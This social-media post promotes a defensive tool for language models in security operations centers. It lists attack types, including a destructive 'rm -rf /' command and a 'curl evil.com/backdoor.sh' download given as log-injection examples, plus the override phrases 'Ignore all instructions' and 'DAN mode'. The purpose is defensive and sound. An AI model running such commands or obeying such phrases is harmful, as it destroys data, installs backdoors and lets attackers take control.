Shaurya Tamang@shaurya_tamang355

The Problem Large Language Models (LLMs) deployed in Security Operations Centers face critical vulnerabilities: 🔴 Command Injection: Malicious commands embedded in logs (rm -rf /, curl evil.com/backdoor.sh) 🔴 Credential Extraction: Jailbreak attempts to leak API keys and system prompts 🔴 Malware Generation: Requests for exploit code disguised as security analysis 🔴 Policy Override: "Ignore all instructions" and "DAN mode" attacks 🔴 SQL Injection: Database manipulation through crafted inputs 🔴 Phishing Generation: Social engineering content creation Our Solution Constitutional AI provides a production-ready defense layer with: ✅ 24 Constitutional Security Rules - Comprehensive threat coverage ✅ Real-Time Detection - <50ms regex-based pattern matching ✅ Side-by-Side Comparison - Vulnerable vs. protected responses ✅ Multi-Dataset Testing - JailbreakBench, LLMail-Inject, SOC Synthetic ✅ PDF Report Generation - Comprehensive audit documentation ✅ Streaming Inference - Cerebras Cloud SDK for real-time analysis ✅ Demo Mode - Realistic metrics without API calls

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